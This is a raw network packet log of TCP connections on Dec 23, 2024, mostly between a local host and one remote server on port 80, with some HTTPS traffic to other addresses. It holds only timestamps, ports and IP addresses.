Dec 23, 2024 08:40:09.749777079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.749829054 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.777714014 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.777726889 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.777726889 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.777733088 CET	443	49798	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.777746916 CET	443	49797	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.777755976 CET	443	49799	172.64.41.3	192.168.2.9
Dec 23, 2024 08:40:09.777765989 CET	49796	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.870104074 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.870192051 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.870281935 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.870584011 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.870795012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.870839119 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.870928049 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.871850967 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.871927977 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.871984005 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.872848988 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.872889996 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.879396915 CET	49798	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.879407883 CET	49797	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.879407883 CET	49799	443	192.168.2.9	172.64.41.3
Dec 23, 2024 08:40:09.890486002 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.890558958 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.890661001 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.890958071 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.891086102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.891336918 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.892122984 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.892369986 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.892425060 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.893148899 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.893212080 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.893259048 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.894186020 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.894382954 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.894423008 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.895306110 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.895381927 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.895430088 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.896248102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.896342039 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.896591902 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.897289991 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.897480965 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.897525072 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.898364067 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.898473024 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.898520947 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.899406910 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.899523973 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.899692059 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.900449991 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.900580883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.900624037 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.901511908 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.901670933 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.901715040 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.902556896 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.902664900 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.902713060 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.903619051 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.903791904 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.903846025 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.904670954 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.904855013 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.904949903 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.905695915 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.905858040 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.905905008 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.906776905 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.906902075 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.907016993 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.907835960 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.907934904 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.907978058 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.908866882 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.908976078 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.909048080 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.909929991 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.910080910 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.910124063 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.910979986 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.911089897 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.911164999 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.912022114 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.912134886 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.912175894 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.913115025 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.913256884 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.913373947 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.914145947 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.914266109 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.914356947 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.915191889 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.915254116 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.915433884 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.916261911 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.916368961 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.916974068 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.917309046 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.917366028 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.917407990 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.918359041 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.918421984 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.918464899 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.919410944 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.919500113 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.919547081 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.920442104 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.920494080 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.920948982 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.921514034 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.921638012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.921866894 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.922564030 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.922683001 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.922723055 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.923610926 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.923738003 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.923779964 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.924694061 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.924804926 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.924849033 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.925721884 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.925832987 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.925874949 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.926764011 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.926879883 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.926928997 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.927817106 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.928056002 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.928150892 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.928872108 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.929023027 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.929064989 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.929928064 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.929975986 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.930036068 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.930985928 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.931091070 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.931274891 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.932025909 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.932166100 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.932904959 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.933079004 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.933197021 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.933245897 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.934132099 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.934257984 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.934302092 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.935199976 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.935435057 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.935478926 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.936305046 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.936367035 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.936455011 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.937289953 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.937437057 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.937482119 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.938363075 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.938468933 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.938513041 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.939392090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.939521074 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.939565897 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.940485954 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.940545082 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.940619946 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:09.941493034 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.941585064 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:09.941642046 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.062114000 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.062304020 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.062374115 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.062663078 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.062767982 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.062810898 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.063719034 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.063795090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.063869953 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.064681053 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.082545042 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.082609892 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.082675934 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.083043098 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.083093882 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.083153963 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.084105968 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.084147930 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.084302902 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.085144043 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.085200071 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.085230112 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.086205006 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.086246014 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.086278915 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.087330103 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.087374926 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.087434053 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.088305950 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.088356018 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.088375092 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.089356899 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.089406967 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.089468002 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.090405941 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.090461016 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.090487957 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.091448069 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.091542006 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.091586113 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.093039989 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.093096972 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.093125105 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.093553066 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.093611002 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.093744993 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.094643116 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.094698906 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.094723940 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.095690012 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.095799923 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.095809937 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.096740007 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.096788883 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.096836090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.097769976 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.097811937 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.097857952 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.098854065 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.098901033 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.098911047 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.099890947 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.099948883 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.099996090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.100984097 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.101030111 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.101083040 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.102003098 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.102051020 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.102082014 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.103050947 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.103127956 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.103157997 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.104084969 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.104124069 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.104142904 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.105214119 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.105254889 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.105293036 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.106244087 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.106337070 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.106359959 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.107482910 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.107551098 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.107601881 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.108308077 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.108367920 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.108412027 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.109378099 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.109467983 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.109503031 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.110441923 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.110486031 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.110532999 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.111423016 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.111484051 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.111627102 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.112523079 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.112574100 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.112620115 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.113562107 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.113637924 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.113672972 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.114633083 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.114711046 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.114727020 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.115772963 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.115832090 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.115839005 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.116764069 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.116806984 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.116861105 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.117804050 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.117858887 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.117882013 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.118815899 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.118872881 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.118927002 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.120063066 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.120105982 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.120145082 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.120954990 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.121015072 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.121061087 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.121978045 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.122143984 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.122191906 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.123044968 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.123151064 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.124082088 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.124115944 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.124136925 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.124304056 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.125175953 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.125257015 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.125307083 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.126261950 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.126380920 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.126439095 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.127329111 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.127387047 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.127423048 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.128317118 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.128437042 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.128447056 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.129307985 CET	80	49780	139.99.188.124	192.168.2.9
Dec 23, 2024 08:40:10.129358053 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:10.240820885 CET	49780	80	192.168.2.9	139.99.188.124
Dec 23, 2024 08:40:11.020633936 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.021460056 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.021480083 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.021857977 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.021871090 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.021914959 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.021935940 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.022226095 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.022583961 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.023783922 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.023848057 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.023958921 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.023974895 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.082863092 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.714760065 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.714816093 CET	443	49803	172.217.17.65	192.168.2.9
Dec 23, 2024 08:40:11.715118885 CET	49803	443	192.168.2.9	172.217.17.65
Dec 23, 2024 08:40:11.715131998 CET	443	49803	172.217.17.65	192.168.2.9
